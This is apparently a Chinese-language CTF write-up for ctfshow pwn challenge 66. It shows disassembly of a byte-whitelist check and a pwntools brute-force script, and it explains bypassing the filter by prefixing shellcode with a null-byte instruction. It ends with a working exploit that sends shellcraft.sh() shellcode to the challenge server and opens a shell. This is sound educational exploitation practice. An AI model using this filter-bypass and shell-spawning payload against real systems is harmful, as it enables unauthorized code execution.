0%

shellcode(ctfshow66)

ctfshow66

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

64位,NX栈不可执行开启

ida:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
logo();
buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
puts("Your shellcode is :");
read(0, buf, 0x200uLL);
if ( !(unsigned int)check(buf) )
{
printf(" ERROR !");
exit(0);
}
((void (__fastcall *)(void *))buf)(buf);
return 0;
}

这道题与前面ctfshow64差不多。多了一个检查

check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall check(_BYTE *a1)
{
_BYTE *i; // [rsp+18h] [rbp-10h]

while ( *a1 )
{
for ( i = &unk_400F20; *i && *i != *a1; ++i )
;
if ( !*i )
return 0LL;
++a1;
}
return 1LL;
}

意思检查数据是与unk_400F20里面的相同,相同返回1(假),不同返回0(真)

在经过if判断检查是否通过

检查失败情况:当 check 函数返回 0 时,(unsigned int)check(buf) 的结果为 0,再经过逻辑非运算 !(unsigned int)check(buf) 的结果为 1。此时 if 条件判断为真,程序会执行 if 语句块内的代码,先通过 printf(" ERROR !"); 输出错误信息 " ERROR !",然后调用 exit(0) 终止程序。exit(0) 一般表示程序正常退出,但在这里实际上是因为输入的 buf 不符合检查要求而提前终止程序。

检查通过情况:当 check 函数返回 1 时,(unsigned int)check(buf) 的结果为 1,经过逻辑非运算 !(unsigned int)check(buf) 的结果为 0。此时 if 条件判断为假,程序不会执行 if 语句块内的代码,而是继续执行后续的代码,也就是执行 ((void (__fastcall *)(void *))buf)(buf); 这行代码来执行用户输入的 shellcode。

我们看一下unk_400F20里面的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
.rodata:0000000000400F20 unk_400F20      db  5Ah ; Z             ; DATA XREF: check+8↑o
.rodata:0000000000400F21 db 5Ah ; Z
.rodata:0000000000400F22 db 4Ah ; J
.rodata:0000000000400F23 db 20h
.rodata:0000000000400F24 db 6Ch ; l
.rodata:0000000000400F25 db 6Fh ; o
.rodata:0000000000400F26 db 76h ; v
.rodata:0000000000400F27 db 65h ; e
.rodata:0000000000400F28 db 73h ; s
.rodata:0000000000400F29 db 20h
.rodata:0000000000400F2A db 73h ; s
.rodata:0000000000400F2B db 68h ; h
.rodata:0000000000400F2C db 65h ; e
.rodata:0000000000400F2D db 6Ch ; l
.rodata:0000000000400F2E db 6Ch ; l
.rodata:0000000000400F2F db 5Fh ; _
.rodata:0000000000400F30 db 63h ; c
.rodata:0000000000400F31 db 6Fh ; o
.rodata:0000000000400F32 db 64h ; d
.rodata:0000000000400F33 db 65h ; e
.rodata:0000000000400F34 db 2Ch ; ,
.rodata:0000000000400F35 db 61h ; a
.rodata:0000000000400F36 db 6Eh ; n
.rodata:0000000000400F37 db 64h ; d
.rodata:0000000000400F38 db 20h
.rodata:0000000000400F39 db 68h ; h
.rodata:0000000000400F3A db 65h ; e
.rodata:0000000000400F3B db 72h ; r
.rodata:0000000000400F3C db 65h ; e
.rodata:0000000000400F3D db 20h
.rodata:0000000000400F3E db 69h ; i
.rodata:0000000000400F3F db 73h ; s
.rodata:0000000000400F40 db 20h
.rodata:0000000000400F41 db 61h ; a
.rodata:0000000000400F42 db 20h
.rodata:0000000000400F43 db 67h ; g
.rodata:0000000000400F44 db 69h ; i
.rodata:0000000000400F45 db 66h ; f
.rodata:0000000000400F46 db 74h ; t
.rodata:0000000000400F47 db 3Ah ; :
.rodata:0000000000400F48 db 0Fh
.rodata:0000000000400F49 db 5
.rodata:0000000000400F4A db 20h
.rodata:0000000000400F4B db 65h ; e
.rodata:0000000000400F4C db 6Eh ; n
.rodata:0000000000400F4D db 6Ah ; j
.rodata:0000000000400F4E db 6Fh ; o
.rodata:0000000000400F4F db 79h ; y
.rodata:0000000000400F50 db 20h
.rodata:0000000000400F51 db 69h ; i
.rodata:0000000000400F52 db 74h ; t
.rodata:0000000000400F53 db 21h ; !

发现为可见字符串

绕过if:

1.我们可以用可见字符串写shellcode

2.绕过 while(*a),当它遇到\x00就不检验了,我们可以使shellcode以\x00开头

利用脚本找\x00开头的汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from itertools import *
import re

for i in range(1, 3):
for j in product([p8(k) for k in range(256)], repeat=i):
payload = b"\x00" + b"".join(j)
res = disasm(payload)
if (
res != " ..."
and not re.search(r"\[\w*?\]", res)
and ".byte" not in res
):
print(res)
input()

image-20250201202914380

找到了一个’\x00\xc0’

exp:

1
2
3
4
5
6
7
from pwn import*
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28156)
shellcode = asm(shellcraft.sh())
payload = b'\x00\xc0'+shellcode
io.sendline(payload)
io.interactive()
// 在最后添加